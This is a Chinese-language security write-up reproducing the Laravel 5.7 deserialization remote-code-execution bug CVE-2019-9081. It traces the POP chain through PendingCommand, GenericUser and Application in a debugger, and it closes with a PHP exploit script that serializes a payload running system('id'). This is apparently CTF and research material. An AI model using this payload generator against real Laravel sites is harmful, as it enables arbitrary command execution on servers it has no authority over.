laravel反序列化(CVE-2019-9081)

环境

centos7
php7.1.30
laravel5.7.28

复现过程

本次漏洞点在PendingCommand文件中，这个文件定义了PendingCommand类，该类存在__destruct()，在__destruct()中调用了该类的run()。那么就是通过反序列化触发PendingCommand类的__destruct析构函数，进而调用其run()实现代码执行

根据已有的exp分析，在PendingCommand类中需要用到的几个属性如下

$this->app;         //一个实例化的类 Illuminate\Foundation\Application
$this->test;        //一个实例化的类 Illuminate\Auth\GenericUser
$this->command;     //要执行的php函数 system
$this->parameters;  //要执行的php函数的参数  array('id')

调试过程

该漏洞存在`laravel组件中，因此要基于Laravel进行二次开发后可能存在此反序列化漏洞，通过qwb题目分析

• 首先在unserialize()处下断点，F7步入unserialize()进行分析,在左下方的函数调用栈中发现出现了两处调用，首先调用spl_autoload_call()(尝试所有已注册的函数来加载类),因为在payload中使用的类在Task控制器中并没有加载进来，因此便触发了PHP的自动加载的功能(autoload 机制可以使得 PHP 程序有可能在使用类时才自动包含类文件，而不是一开始就将所有的类文件 include 进来，这种机制也称为 lazy loading)
  

加载过程
首先是类AliasLoadder中load()的调用，使用Laravel框架所带有的Facade功能去尝试加载我们payload中所需要的类。

首先提供所要加载的类是不是其中包含Facades,如果是则通过loadFacade()进行加载

通过load()没有加载成功，调用loadclass()进行加载，

loadclass()中通过调用findfile()尝试通过Laravel中的composer的自动加载功能含有的classmap去尝试寻找要加载的类所对应的类文件位置，此时将会加载vendor目录中所有组件， 并生成namespace + classname的一个 key => value 的 php 数组来对所包含的文件来进行一个匹配

找到类PendingCommand所对应的文件后，将通过includeFile()进行包含

完成类PendingCommand的整个加载流程

• 加载完所需要的类后，将进入__destruct()，hasExecuted属性默认为false，调用run()
  
  
  
• F7进入用于执行命令的run()
  
• 在run()中，首先要调用mockConsoleOutput()
  
• 该方法主要用于模拟应用程序的控制台输出，此时因为要加载类Mockery和类Arrayinput，所以又要通过spl_autoload_call->load->loadclass加载所需要的类，并且此时又会调用createABufferedOutputMock()
  
• F7进入createABufferedOutputMock()，调用了Mockery的mock()函数。F7进入mock()，这里又进行一次对象模拟。
  
• 继续createABufferedOutputMock()往下看，此时createABufferedOutputMock()进入for循环，并且在其中要调用test的expectedOutput属性，然而在可以实例化的类中不存在expectedOutput属性(ctrl+shift+F全局搜索)，只在一些测试类中存在。
  
• 这里要用到php魔术方法中的一个小trick，当访问一个类中不存在的属性时会触发get()，通过去触发get()方法去进一步构造pop链，在Illuminate\Auth\GenericUser的get()中
  
• 此时$this->test是Illuminate\Auth\GenericUser的实例化对象，是我们传入的，那么是可控的，则$this->attributes通过反序列化是可控的，因此我们可以构造$this->attributes键名为expectedOutput的数组。这样一来$this->test->expectedOutput就会返回$this->attributes中键名为expectedOutput的数组。
• 此时回到mockConsoleOutput()中，又进行了一个循环遍历，调用了test对象的的expectedQuestions属性，里面的循环体与createABufferedOutputMock()的循环体相同，因此绕过方法也是通过调用get()，设置一个键名为expectedQuestions的数组即可
• 继续F8单步调试就可以return $mock，从而走出mockConsoleOutput()，接下来回到run()中
  
• 其中Kernel::class在这里是一个固定值Illuminate\Contracts\Console\Kernel,并且call的参数为我们所要执行的命令和命令参数($this->command, $this->parameters)，需要弄清$this->app[Kernal::class]返回的是哪个类的对象，使用F7步入程序
• 直到得到以下的getConcrete()，在704行判断$this->bindings[$abstract])是否存在，若存在则返回$this->bindings[$abstract]['concrete']。$bindings是Container.php文件中Container类中的属性。只要寻找一个继承自Container的类，即可通过反序列化控制 $this->bindings属性。Illuminate\Foundation\Application恰好继承自Container类。$abstract变量为Illuminate\Contracts\Console\Kernel，只需通过反序列化定义Illuminate\Foundation\Application的$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句，返回我们要实例化的类名。
• 到了实例化Application类的时候， 此时要满足isBuildable()才可以进行build
  
  
  
• 此时$concrete为Application，而$abstract为kernal，此时不满足Application实例化条件，此时继续F7，将会调用make()
  
• 此时将$abstract赋值为了Application，并且make()又调用了resolve()，即实现了第二次调用isBuildable()判断是否可以进行实例化，即此时已经可以成功实例化类Application，完成了$this->app[Kernel::class]为Application对象的转化
• 接下来将调用类Application中的call()，即其父类Container中的call()
  
• 其中第一个分支isCallableWithAtSign()判断回调函数是否为字符串并且其中含有@,并且$defaultMethod默认为null，显然此时不满足if条件，即进入第二个分支，callBoundMethod()的调用.
• 前面的static::callBoundMethod只是判断我们的$callback是否为数组。后面的匿名函数直接调用call_user_func_array()，并且第一个参数我们可控，参数值为system，第二个参数由static::getMethodDependencies方法返回。跟进static::getMethodDependencies。
  
• static::getCallReflector($callback)用于利用反射获取$callback的对象，继续往下执行static::addDependencyForCallParameter，会对$callback的对象添加一些参数，最后将我们传入的$parameters参数数组和$dependencies数组合并，$dependencies数组为空。最后在BoundMethod对象的call()中我们相当于执行了以下代码:call_user_func_array('system',array('id'))

exp

command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
             )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                     )
             )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('id'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

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参考文献：
https://laravel.com/api/5.7/Illuminate/Foundation/Testing/PendingCommand.html
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce
https://xz.aliyun.com/t/5510